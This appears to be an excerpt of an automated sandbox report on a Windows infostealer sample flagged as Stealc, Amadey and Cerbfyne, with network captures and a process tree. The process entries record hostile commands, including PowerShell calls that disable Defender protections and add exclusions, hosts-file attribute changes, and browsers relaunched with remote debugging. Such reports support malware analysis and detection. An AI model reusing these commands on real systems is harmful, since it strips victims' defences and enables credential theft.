2024-11-26 21:53:03 UTC	1918	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
146	192.168.2.7	49928	20.110.205.119	443	7832	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 21:53:02 UTC	1261	OUT	GET /c.gif?rnd=1732657979623&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=77db7b96657a471197e809d0cad53a03&activityId=77db7b96657a471197e809d0cad53a03&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=EC024681FB45440883096ED51DE31D2A&MUID=0AACE1577F9E67D0137AF4147E876674 HTTP/1.1 Host: c.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=0AACE1577F9E67D0137AF4147E876674; _EDGE_S=F=1&SID=3BEE389716BD61AD26292DD41771604E; _EDGE_V=1; SM=T
2024-11-26 21:53:02 UTC	983	IN	HTTP/1.1 200 OK Cache-Control: private, no-cache, proxy-revalidate, no-store Pragma: no-cache Content-Type: image/gif Last-Modified: Wed, 16 Oct 2024 16:24:13 GMT Accept-Ranges: bytes ETag: "8d3dafd6e71fdb1:0" Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" Set-Cookie: SM=C; domain=c.msn.com; path=/; SameSite=None; Secure; Set-Cookie: MUID=0AACE1577F9E67D0137AF4147E876674; domain=.msn.com; expires=Sun, 21-Dec-2025 21:53:02 GMT; path=/; SameSite=None; Secure; Priority=High; Set-Cookie: SRM_M=0AACE1577F9E67D0137AF4147E876674; domain=c.msn.com; expires=Sun, 21-Dec-2025 21:53:02 GMT; path=/; SameSite=None; Secure; Set-Cookie: MR=0; domain=c.msn.com; expires=Tue, 03-Dec-2024 21:53:02 GMT; path=/; SameSite=None; Secure; Set-Cookie: ANONCHK=0; domain=c.msn.com; expires=Tue, 26-Nov-2024 22:03:02 GMT; path=/; SameSite=None; Secure; Date: Tue, 26 Nov 2024 21:53:02 GMT Connection: close Content-Length: 42
2024-11-26 21:53:02 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 01 4c 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.7	49927	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 21:53:02 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 21:53:03 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 21:53:02 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: 580008bf-301e-0000-1d8a-3feecc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T215302Z-174f7845968kvnqxhC1EWRmf3g0000000eqg00000000tq8z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 21:53:03 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.7	49929	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 21:53:03 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 21:53:03 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 21:53:03 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: fde36bdf-c01e-000b-1591-3fe255000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T215303Z-174f7845968px8v7hC1EWR08ng0000000w6000000000r5wk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 21:53:03 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.7	49930	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 21:53:03 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 21:53:04 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 21:53:03 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: 6e1934d2-a01e-006f-595c-3f13cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T215303Z-174f7845968qj8jrhC1EWRh41s0000000vy000000000ff26 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 21:53:04 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Target ID:	0
Start time:	16:52:11
Start date:	26/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x370000
File size:	1'824'256 bytes
MD5 hash:	6B1C2CD2EC903E7DEAFEEBDE9BF8FA76
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1897672574.00000000015FE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.1374560457.00000000051E0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1896494863.0000000000371000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	16:52:23
Start date:	26/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff6c4390000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	16:52:24
Start date:	26/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2284 --field-trial-handle=2232,i,1000495704837630043,6149474201406527679,262144 /prefetch:8
Imagebase:	0x7ff6c4390000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	16:52:34
Start date:	26/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff7fb980000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	16:52:35
Start date:	26/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2388 --field-trial-handle=2284,i,12294097546187704604,12774697374561452426,262144 /prefetch:3
Imagebase:	0x7ff7fb980000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	16:52:35
Start date:	26/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Imagebase:	0x7ff7fb980000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	16:52:35
Start date:	26/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2088 --field-trial-handle=2052,i,15578154844592680099,333288393923744452,262144 /prefetch:3
Imagebase:	0x7ff7fb980000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	15
Start time:	16:52:40
Start date:	26/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6568 --field-trial-handle=2052,i,15578154844592680099,333288393923744452,262144 /prefetch:8
Imagebase:	0x7ff7fb980000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	16:52:40
Start date:	26/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6780 --field-trial-handle=2052,i,15578154844592680099,333288393923744452,262144 /prefetch:8
Imagebase:	0x7ff7fb980000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	16:53:04
Start date:	26/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsBGIJJKKJJD.exe"
Imagebase:	0x410000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	16:53:04
Start date:	26/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	16:53:04
Start date:	26/11/2024
Path:	C:\Users\user\DocumentsBGIJJKKJJD.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\DocumentsBGIJJKKJJD.exe"
Imagebase:	0x170000
File size:	1'904'128 bytes
MD5 hash:	2063AD6746859BA2896E6D3BC7082FBC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000015.00000003.1894784789.0000000004950000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000015.00000002.1935284128.0000000000171000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security
Antivirus matches:	Detection: 53%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	16:53:08
Start date:	26/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x9a0000
File size:	1'904'128 bytes
MD5 hash:	2063AD6746859BA2896E6D3BC7082FBC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000017.00000003.1938476402.00000000048B0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 53%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	24
Start time:	16:53:08
Start date:	26/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0x9a0000
File size:	1'904'128 bytes
MD5 hash:	2063AD6746859BA2896E6D3BC7082FBC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000018.00000003.1939050508.0000000005190000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000018.00000002.1979443470.00000000009A1000.00000040.00000001.01000000.0000000D.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	16:53:35
Start date:	26/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6916 --field-trial-handle=2052,i,15578154844592680099,333288393923744452,262144 /prefetch:8
Imagebase:	0x7ff7fb980000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	26
Start time:	16:54:02
Start date:	26/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1009384001\filer.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user~1\AppData\Local\Temp\1009384001\filer.exe"
Imagebase:	0x7ff7c9b50000
File size:	26'987'008 bytes
MD5 hash:	9096F57FA44B8F20EEBF2008A9598EEC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CerbfyneStealer, Description: Yara detected Cerbfyne Stealer, Source: 0000001A.00000002.2806587118.00007FF7CAC2C000.00000002.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: JoeSecurity_CerbfyneStealer, Description: Yara detected Cerbfyne Stealer, Source: 0000001A.00000000.2454696595.00007FF7CAC2C000.00000002.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: JoeSecurity_CerbfyneStealer, Description: Yara detected Cerbfyne Stealer, Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe, Author: Joe Security
Antivirus matches:	Detection: 24%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	27
Start time:	16:54:02
Start date:	26/11/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -Command Add-MpPreference -ExclusionPath C:\Users\user~1\AppData\Local\Temp\1009384001\filer.exe
Imagebase:	0x7ff741d30000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	16:54:02
Start date:	26/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	16:54:06
Start date:	26/11/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Imagebase:	0x7ff741d30000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	16:54:06
Start date:	26/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	16:54:10
Start date:	26/11/2024
Path:	C:\Windows\System32\attrib.exe
Wow64 process (32bit):	false
Commandline:	attrib -r C:\Windows\System32\drivers\etc\hosts
Imagebase:	0x7ff76a6d0000
File size:	23'040 bytes
MD5 hash:	5037D8E6670EF1D89FB6AD435F12A9FD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	16:54:10
Start date:	26/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	16:54:11
Start date:	26/11/2024
Path:	C:\Windows\System32\attrib.exe
Wow64 process (32bit):	false
Commandline:	attrib +r C:\Windows\System32\drivers\etc\hosts
Imagebase:	0x7ff76a6d0000
File size:	23'040 bytes
MD5 hash:	5037D8E6670EF1D89FB6AD435F12A9FD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	16:54:11
Start date:	26/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	16:54:16
Start date:	26/11/2024
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic os get Caption
Imagebase:	0x7ff698ee0000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	38
Start time:	16:54:16
Start date:	26/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	39
Start time:	16:54:17
Start date:	26/11/2024
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic cpu get Name
Imagebase:	0x7ff698ee0000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	40
Start time:	16:54:17
Start date:	26/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	41
Start time:	16:54:17
Start date:	26/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1009393001\60114bff78.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\1009393001\60114bff78.exe"
Imagebase:	0xa70000
File size:	4'459'008 bytes
MD5 hash:	F5776B965778A92B20D7CDCC3ED87B8A
Has elevated privileges:	true
Has administrator privileges:	true
